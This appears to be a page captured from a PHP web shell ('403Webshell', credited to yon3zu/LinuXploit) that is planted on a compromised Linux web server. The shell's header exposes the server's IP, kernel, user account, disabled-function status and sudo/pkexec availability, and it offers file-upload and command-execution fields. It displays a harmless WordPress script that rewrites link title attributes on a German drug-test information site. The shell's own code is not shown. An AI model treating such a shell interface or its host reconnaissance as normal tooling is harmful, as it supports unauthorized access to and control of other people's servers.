403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/3951572/root/tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/3951572/root/tmp/fix_dp_titles.php
<?php
require '/var/www/clients/client2/web20/web/wp-load.php';
global $wpdb;

// Canonical titles for non-country URLs
$canonical = array(
    '/suchtberatung/'          => 'Suchtberatung in Deutschland finden',
    '/ratgeber/nachweiszeiten-drogen-thc-kokain-amphetamin/' => 'Nachweiszeiten von Drogen im Körper',
    '/einfach-aufgeklaert/drogenpolitik/' => 'Drogenpolitik weltweit im Überblick',
    '/drogentest/'             => 'Drogentest kaufen',
    '/drogentest/urintest/'    => 'Urintest auf Drogen',
    '/drogentest/speicheltest/' => 'Speicheltest auf Drogen',
    '/ratgeber/thc-drogentest/' => 'THC im Drogentest nachweisen',
    '/ratgeber/cannabis-am-steuer-2026-thc-grenzwert-fuehrerschein/' => 'Cannabis am Steuer – THC-Grenzwert und Führerschein',
    '/informationen/cannabis-marihuanakonsum-nachweisen/' => 'Cannabis und Marihuana nachweisen',
    '/erklaert-aufgeklaert/polizeikontrolle-muss-ich-einen-urintest-machen/' => 'Polizeikontrolle – Muss ich einen Urintest machen?',
    '/blog/wie-lange-sind-pilze-magic-mushrooms-nachweisbar/' => 'Magic Mushrooms – Nachweiszeiten',
    '/cannabis-grenzwerte/'    => 'Cannabis-Grenzwerte im Straßenverkehr',
    '/speicheltest/'           => 'Speicheltest auf Drogen',
    '/verkehrsmonitor/'        => 'Verkehrsmonitor – Drogenunfälle in Deutschland',
    '/informationen/'          => 'Informationen zu Drogen',
    '/ratgeber/mpu-drogen-abstinenznachweis-vorbereitung/' => 'MPU Vorbereitung – Drogen, Abstinenznachweis und Tipps',
    '/drogentest/wischtest/'   => 'Wischtest auf Drogen',
    '/einfach-aufgeklaert/'    => 'Einfach aufgeklärt – Ratgeber zu Drogentests',
    '/blog/drogentest-gruende-fuer-ein-falsches-test-ergebnis/' => 'Drogentest – Gründe für ein falsches Testergebnis',
);

// Country-specific preposition overrides (slug => "Drogenpolitik {phrase}")
$country_phrases = array(
    'iran'          => 'im Iran',
    'irak'          => 'im Irak',
    'libanon'       => 'im Libanon',
    'jemen'         => 'im Jemen',
    'oman'          => 'im Oman',
    'tschad'        => 'im Tschad',
    'kongo'         => 'im Kongo',
    'sudan'         => 'im Sudan',
    'niger'         => 'im Niger',
    'senegal'       => 'im Senegal',
    'kosovo'        => 'im Kosovo',
    'schweiz'       => 'in der Schweiz',
    'tuerkei'       => 'in der Türkei',
    'ukraine'       => 'in der Ukraine',
    'slowakei'      => 'in der Slowakei',
    'mongolei'      => 'in der Mongolei',
    'elfenbeinkueste' => 'an der Elfenbeinküste',
    'dominikanische-republik' => 'in der Dominikanischen Republik',
    'niederlande'   => 'in den Niederlanden',
    'usa'           => 'in den USA',
    'philippinen'   => 'auf den Philippinen',
    'bahamas'       => 'auf den Bahamas',
    'malediven'     => 'auf den Malediven',
    'vereinigte-arabische-emirate' => 'in den Vereinigten Arabischen Emiraten',
);

// Build lookup: slug => post_title for all drogenpolitik posts
$all_dp = $wpdb->get_results("SELECT ID, post_name, post_title, post_parent FROM {$wpdb->posts} WHERE post_type='drogenpolitik' AND post_status='publish'");
$slug_to_title = array();
$slug_to_parent = array();
foreach ($all_dp as $dp) {
    $slug_to_title[$dp->post_name] = $dp->post_title;
    $slug_to_parent[$dp->post_name] = $dp->post_parent;
}

// Generate canonical title for a drogenpolitik country/state URL
function get_dp_title($path, $slug_to_title, $slug_to_parent, $country_phrases) {
    // Match /einfach-aufgeklaert/drogenpolitik/usa/{state}/
    if (preg_match('#/einfach-aufgeklaert/drogenpolitik/usa/([a-z0-9-]+)/#', $path, $m)) {
        $state_slug = $m[1];
        $title = $slug_to_title[$state_slug] ?? ucfirst($state_slug);
        return 'Drogenpolitik in ' . $title;
    }
    // Match /einfach-aufgeklaert/drogenpolitik/COUNTRY/CHILD/
    if (preg_match('#/einfach-aufgeklaert/drogenpolitik/([a-z0-9-]+)/([a-z0-9-]+)/#', $path, $m)) {
        $child_slug = $m[2];
        $title = $slug_to_title[$child_slug] ?? ucfirst(str_replace('-', ' ', $child_slug));
        return $title;
    }
    // Match /einfach-aufgeklaert/drogenpolitik/{country}/
    if (preg_match('#/einfach-aufgeklaert/drogenpolitik/([a-z0-9-]+)/#', $path, $m)) {
        $slug = $m[1];
        // Check continent slugs
        $continents = array('europa','asien','afrika','nordamerika','suedamerika','ozeanien');
        if (in_array($slug, $continents)) {
            $names = array('europa'=>'Europa','asien'=>'Asien','afrika'=>'Afrika','nordamerika'=>'Nordamerika','suedamerika'=>'Südamerika','ozeanien'=>'Ozeanien');
            return 'Drogenpolitik in ' . $names[$slug];
        }
        if (isset($country_phrases[$slug])) {
            return 'Drogenpolitik ' . $country_phrases[$slug];
        }
        $title = $slug_to_title[$slug] ?? ucfirst(str_replace('-', ' ', $slug));
        return 'Drogenpolitik in ' . $title;
    }
    return null;
}

// Process all drogenpolitik posts
$posts = $wpdb->get_results("SELECT ID, post_title, post_content FROM {$wpdb->posts} WHERE post_type='drogenpolitik' AND post_status='publish'");
$updated = 0;
$link_changes = 0;

foreach ($posts as $p) {
    $content = $p->post_content;
    $new_content = $content;

    // Find all <a> tags with href
    $new_content = preg_replace_callback(
        '/<a(\s[^>]*?)href=["\']([^"\']*)["\']([^>]*?)>/i',
        function($match) use ($canonical, $slug_to_title, $slug_to_parent, $country_phrases, &$link_changes) {
            $before_href = $match[1];
            $href = $match[2];
            $after_href = $match[3];
            $full = $match[0];

            // Only internal links
            if (strpos($href, 'drogentest-online.de') === false && strpos($href, '/') !== 0) {
                return $full;
            }

            // Get path
            $path = parse_url($href, PHP_URL_PATH);
            if (!$path) return $full;
            $path = rtrim($path, '/') . '/';

            // Determine canonical title
            $new_title = null;

            // Check fixed canonical map
            if (isset($canonical[$path])) {
                $new_title = $canonical[$path];
            } else {
                // Check if it's a drogenpolitik URL
                $new_title = get_dp_title($path, $slug_to_title, $slug_to_parent, $country_phrases);
            }

            if ($new_title === null) {
                return $full;
            }

            $escaped_title = esc_attr($new_title);

            // Check if title already exists and matches
            if (preg_match('/title=["\']([^"\']*)["\']/', $before_href . $after_href, $tm)) {
                if ($tm[1] === $escaped_title || $tm[1] === $new_title) {
                    return $full; // Already correct
                }
                // Replace existing title
                $attrs = $before_href . 'href="' . $href . '"' . $after_href;
                $attrs = preg_replace('/title=["\'][^"\']*["\']/', 'title="' . $escaped_title . '"', $attrs);
                $link_changes++;
                return '<a' . $attrs . '>';
            } else {
                // Add title attribute
                $link_changes++;
                return '<a' . $before_href . 'href="' . $href . '" title="' . $escaped_title . '"' . $after_href . '>';
            }
        },
        $new_content
    );

    if ($new_content !== $content) {
        $wpdb->update($wpdb->posts, array('post_content' => $new_content), array('ID' => $p->ID));
        $updated++;
    }
}

echo "Updated $updated posts with $link_changes link title changes." . PHP_EOL;

Youez - 2016 - github.com/yon3zu
LinuXploit